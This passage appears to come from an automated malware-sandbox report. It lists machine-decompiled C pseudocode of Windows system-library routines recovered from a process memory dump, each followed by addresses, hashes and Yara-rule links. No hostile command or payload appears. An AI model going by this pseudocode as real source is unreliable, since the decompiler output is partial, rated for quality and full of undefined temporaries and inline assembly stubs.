					_t11 = _t61 + 0x78; // 0x78
					_t34 = E012A9702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0x136b1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}

0x01290055
0x0129005d
0x01290062
0x0129006c
0x0129006f
0x01290074
0x0129007a
0x0129007a
0x01290080
0x01290080
0x01290087
0x0129008d
0x0129008f
0x01290093
0x01290095
0x0129009b
0x012900f8
0x012900fb
0x012900fc
0x012900ff
0x01290108
0x01290108
0x012900a2
0x012900a6
0x012900b3
0x012900bc
0x012900c5
0x012900ca
0x012dc01e
0x00000000
0x00000000
0x012dc02d
0x012900d5
0x012900d9
0x012dc03d
0x012dc046
0x012dc046
0x012900df
0x012900e2
0x012900ea
0x012900ef
0x012900f2
0x012900f6
0x01290111
0x01290117
0x01290117
0x00000000
0x012900f6
0x012900d0
0x012900d0
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a0b0f3fc26c82381e2cf1ac935ab521a8ad39ac645f8cdf15f3a63cc49289b
Instruction ID: 751a53830c8c1695ebacbdddb032beed582c5c4a529a95215a47fbaf2e4b7be6
Opcode Fuzzy Hash: a1a0b0f3fc26c82381e2cf1ac935ab521a8ad39ac645f8cdf15f3a63cc49289b
Instruction Fuzzy Hash: 0331AE31621B05CFDB22CF2CC940B96B7E9FF88714F14456DE69687650DB71A801CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012F6C0A, Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E012F6C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E01297D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0x1367b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L01294620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E012BF3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E01297D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E012B9AE0();
						_t23 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}

0x012f6c0a
0x012f6c0f
0x012f6c10
0x012f6c13
0x012f6c15
0x012f6c19
0x012f6c1c
0x012f6c21
0x012f6c28
0x012f6c3a
0x012f6c2a
0x012f6c33
0x012f6c33
0x012f6c3f
0x012f6c48
0x012f6c4d
0x012f6c60
0x012f6c65
0x012f6c69
0x012f6c73
0x012f6c79
0x012f6c7f
0x012f6c86
0x012f6c90
0x012f6c94
0x012f6ca6
0x012f6cb2
0x012f6cbd
0x012f6cbd
0x012f6cc3
0x012f6cc7
0x012f6ccb
0x012f6cd0
0x012f6cd1
0x012f6ce2
0x012f6ce2
0x012f6c69
0x012f6ced

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c917649ccf7f4186e3e0e18f5023617c95188f1b2f7b84717aacc265f6a3c52
Instruction ID: 9543bcbd9dbaa9ffb6a8743796969ea4e02dba1dc34deb15bf2ccf4b4f4c8b10
Opcode Fuzzy Hash: 9c917649ccf7f4186e3e0e18f5023617c95188f1b2f7b84717aacc265f6a3c52
Instruction Fuzzy Hash: 8D21DBB1A20645AFDB11DB6CD884F6AB7B8FF08340F040069FA04C7790D634ED00CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 012B90AF, Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E012B90AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E012CD4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E012AE5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L01294620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E012BF3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E012AA2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}

0x012b90af
0x012b90b8
0x012b90bb
0x012b90bf
0x012b90c2
0x012b90c2
0x012b90c8
0x012b90cb
0x012b90cd
0x012f14d7
0x012f14eb
0x012f14eb
0x00000000
0x012f14eb
0x012f14db
0x012f14e6
0x00000000
0x012f14f2
0x012f14e8
0x00000000
0x012f14e8
0x012b90d8
0x012b90da
0x012b90dd
0x012b90e5
0x00000000
0x012b9139
0x012b90fa
0x012b90fe
0x012b9142
0x00000000
0x012b9142
0x012b9104
0x012b9107
0x012b910b
0x012b9110
0x012b9118
0x012b9147
0x012b9148
0x012b914f
0x012b9150
0x012b9151
0x012b9152
0x012b9156
0x012b915d
0x012b9160
0x012b9168
0x012b916c
0x012b91bc
0x012b91be
0x00000000
0x012b91be
0x012b916e
0x012b9173
0x012b9176
0x00000000
0x00000000
0x012b917c
0x012b9180
0x012b91b5
0x00000000
0x012b91b5
0x012b9182
0x012b9185
0x012b9189
0x00000000
0x00000000
0x012b918e
0x012b9190
0x012b9198
0x00000000
0x00000000
0x012b91a0
0x00000000
0x012b91ad
0x012b91ad
0x012b91b0
0x012b91b1
0x00000000
0x012b9185
0x012b911a
0x012b911c
0x012b911f
0x012b9125
0x012b9127
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: c54b6a7acb8930a4b4ecef0f48b742b17f30091992a464ff388c1d48fb4d6a70
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: BE217FB1A20205EFDB21DF59C984AAAFBF8EB54354F14887EEB45A7200D270A950CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012A3B7A, Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E012A3B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0x13684c4; // 0x0
				_v12 = 1;
				_v8 =  *0x13684c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x13684c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E012BAA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E012BFA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x13684c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0x13684c4; // 0x0
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}

0x012a3b89
0x012a3b96
0x012a3ba1
0x012a3bab
0x012a3bb5
0x012a3bb9
0x012e6298
0x012a3bbf
0x012a3bc2
0x012a3bc3
0x012a3bc9
0x012a3bca
0x012a3bcc
0x012a3bcd
0x012a3bd4
0x012a3bd6
0x012a3bdb
0x012a3bea
0x012a3bf7
0x012a3bfb
0x012a3bff
0x012a3c09
0x012a3c0a
0x012a3c0b
0x012a3c0f
0x012a3c14
0x012a3c18
0x012a3c18
0x012a3bfb
0x012a3c1b
0x012a3c30
0x012a3c30
0x012a3c3d

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b053130fdb9bc4395b4d67d0e616a0713c780be124716e4a229f87971052b25
Instruction ID: 90f1c70d36325c70ee11ab233c0c72ac6a7a89f3a507c71e7eb3dafa791fc4aa
Opcode Fuzzy Hash: 8b053130fdb9bc4395b4d67d0e616a0713c780be124716e4a229f87971052b25
Instruction Fuzzy Hash: 8E219FB2A10209AFCB15DF58CD81B6ABBBDFB44748F1540A9EA08AB251D371ED05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012F6CF0, Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E012F6CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E01297D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E01297D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0x1255c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E012AF6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E012AF6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E012F7016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L01292400( &_v52);
								}
								_t21 = L01292400( &_v28);
							}
						}
					}
				}
				return _t21;
			}

0x012f6cfb
0x012f6d00
0x012f6d02
0x012f6d06
0x012f6d0a
0x012f6d0e
0x012f6d19
0x012f6d2b
0x012f6d1b
0x012f6d24
0x012f6d24
0x012f6d33
0x012f6d39
0x012f6d46
0x012f6d4f
0x012f6d61
0x012f6d51
0x012f6d5a
0x012f6d5a
0x012f6d69
0x012f6d6b
0x012f6d6d
0x012f6d6f
0x012f6d6f
0x012f6d74
0x012f6d79
0x012f6d7a
0x012f6d7f
0x012f6d82
0x012f6d88
0x012f6d89
0x012f6d90
0x012f6d94
0x012f6da7
0x012f6db1
0x012f6db1
0x012f6dbb
0x012f6dbb
0x012f6d90
0x012f6d69
0x012f6d46
0x012f6dc6

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9151e64ab0114fbc644bbca1fe8fe26963a4ca45a046541b7dfed28190f6a38
Instruction ID: b7ef655649926b1a76d1dca8fa0e2a9b6d2b327a51da7b956cd6d59297de96ca
Opcode Fuzzy Hash: d9151e64ab0114fbc644bbca1fe8fe26963a4ca45a046541b7dfed28190f6a38
Instruction Fuzzy Hash: 9A21C2725242469FD711DF2DC944B6BFBECEF91640F04056AFB40C7291E734D948CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0134070D, Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0134070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E013407DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E0133AFDE( &_v8,  &_v12);
					E01341293(_t38, _v28, _t60);
					if(E01297D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E013314FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}

0x0134071b
0x01340724
0x01340734
0x01340738
0x0134074b
0x0134074b
0x01340753
0x01340753
0x01340759
0x0134075d
0x01340774
0x01340779
0x0134077d
0x01340789
0x01340795
0x013407a7
0x01340797
0x013407a0
0x013407a0
0x013407af
0x013407c4
0x013407cd
0x013407cd
0x013407af
0x013407dc

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction ID: a974d14cac37fc2bc9243ef5712bb8f3cdc5281fefca9ea1486652604a6d169a
Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction Fuzzy Hash: F021F2363042049FE709DF1CC880AAABFE5EFD4354F048669FA959B385D730E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 012F7794, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E012F7794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0x1367b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E012BF3E0(_t11, _a12, _t46);
					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E01297D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E012B9AE0();
					_t24 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}

0x012f7799
0x012f779a
0x012f779b
0x012f77a3
0x012f77ab
0x012f77ae
0x012f77b1
0x012f77b1
0x012f77bf
0x012f77c4
0x012f77c8
0x012f77ce
0x012f77d4
0x012f77e0
0x012f77e0
0x012f77d6
0x012f77d6
0x012f77de
0x00000000
0x00000000
0x012f77de
0x012f77e5
0x012f77f0
0x012f77f3
0x012f77f6
0x012f77fd
0x012f7800
0x012f780c
0x012f7818
0x012f782b
0x012f781a
0x012f7823
0x012f7823
0x012f7830
0x012f7831
0x012f7838
0x012f783d
0x012f783e
0x012f784f
0x012f784f
0x012f785a

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2417d826a50bd85a014f11b6935d1b587e065dd4d951bf901709d35ac1c01d29
Instruction ID: 0d8a5483990e0ac400b946cbfdf6be86e1def0a8f038d95ec8438a122666ad34
Opcode Fuzzy Hash: 2417d826a50bd85a014f11b6935d1b587e065dd4d951bf901709d35ac1c01d29
Instruction Fuzzy Hash: CC21A172520645AFCB25DF69DC90EABBBA9EF48340F10456DF60AD7750D634E900CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0129AE73, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0129AE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E01297D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E01297D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E01297D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E01297D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E012F7794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}

0x0129ae78
0x0129ae7c
0x0129ae7e
0x0129ae81
0x0129ae86
0x0129ae8d
0x012e2691
0x0129ae93
0x0129ae93
0x0129ae93
0x0129ae98
0x0129ae9d
0x012e26a2
0x012e26b4
0x012e26a4
0x012e26ad
0x012e26ad
0x012e26b9
0x00000000
0x012e26bb
0x00000000
0x012e26bb
0x0129aea3
0x0129aea3
0x0129aea3
0x0129aeaa
0x012e26c0
0x012e26c9
0x012e26c9
0x0129aeb3
0x012e26d4
0x012e26e1
0x00000000
0x00000000
0x012e26e7
0x012e26ee
0x012e26f0
0x012e26f9
0x012e26f9
0x012e2702
0x012e2708
0x012e2708
0x012e270b
0x012e270f
0x012e2711
0x012e2711
0x012e2725
0x012e2725
0x00000000
0x0129aeb9
0x0129aeb9
0x0129aebf
0x0129aebf
0x0129aeb3

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction ID: a9d3b56df192ab5ab4436020e7960e4016378701c1e927bc17e40403cf7298cd
Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction Fuzzy Hash: D921D432631686DFEB169B2DC948B3577E8EF45240F0900B0DE058B692D774DC40CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 012AFD9B, Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E012AFD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E012876E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}

0x012afd9b
0x012afda0
0x012afda1
0x012afdab
0x012afdad
0x012afdb0
0x012afdb8
0x012afe0f
0x012afde6
0x012afde9
0x012afdec
0x012ec0c0
0x012afdfe
0x012afe06
0x012afe06
0x012ec0c8
0x012afe2d
0x012afe2d
0x00000000
0x012afe2d
0x012ec0d1
0x012ec0e0
0x012ec0e5
0x012ec0e5
0x012ec0e8
0x00000000
0x012ec0e8
0x012afdf4
0x00000000
0x00000000
0x012afdf6
0x012afdfa
0x012afe1a
0x012afe1f
0x012afe1f
0x012afdfc
0x00000000
0x012afdfc
0x012afdcc
0x012afdd0
0x012afe26
0x00000000
0x012afe26
0x012afdd8
0x012afddb
0x012afddd
0x012afde0
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction ID: 789ec6759f74c5e6fe5a4aff5fbba0dc6f4e8d96244b4bed0a06a5eed8606da0
Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction Fuzzy Hash: 20217C72660A42DFDB36CF4DC740A6AFBE5EB94B10F65817EEA4587611D7389C00CB80

Uniqueness

Uniqueness Score: -1.00%

Function 012AB390, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E012AB390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E01292280(_t12, 0x1368608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E012B00C2(0x1368608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}

0x012ab395
0x012ab3a2
0x012ab3a5
0x012ab3aa
0x012ab3b2
0x012ab3ba
0x012ab3bd
0x012ab3c0
0x012ab3c4
0x012ab3c9
0x012ea3e9
0x012ea3ed
0x012ea3f0
0x012ea3ff
0x012ea403
0x012ea409
0x00000000
0x00000000
0x012ea40b
0x012ea40b
0x012ea40f
0x012ea415
0x012ea423
0x012ea423
0x012ea415
0x012ab3d1
0x012ab3e8
0x012ab3e8
0x012ab3d9

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6858e01c970a48b5874148f7a1aabdab68aea386f0969333465019f0a491bc05
Instruction ID: dedad706acf7cf0ccdcd7e2530d4d6edac8b1e675e28ebc78820d1f5c9141690
Opcode Fuzzy Hash: 6858e01c970a48b5874148f7a1aabdab68aea386f0969333465019f0a491bc05
Instruction Fuzzy Hash: 1A116B377312119BCB298B188E81A6F739BEBC9330B644179EE16C7390CA719C06C694

Uniqueness

Uniqueness Score: -1.00%

Function 01279240, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E01279240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x134f708);
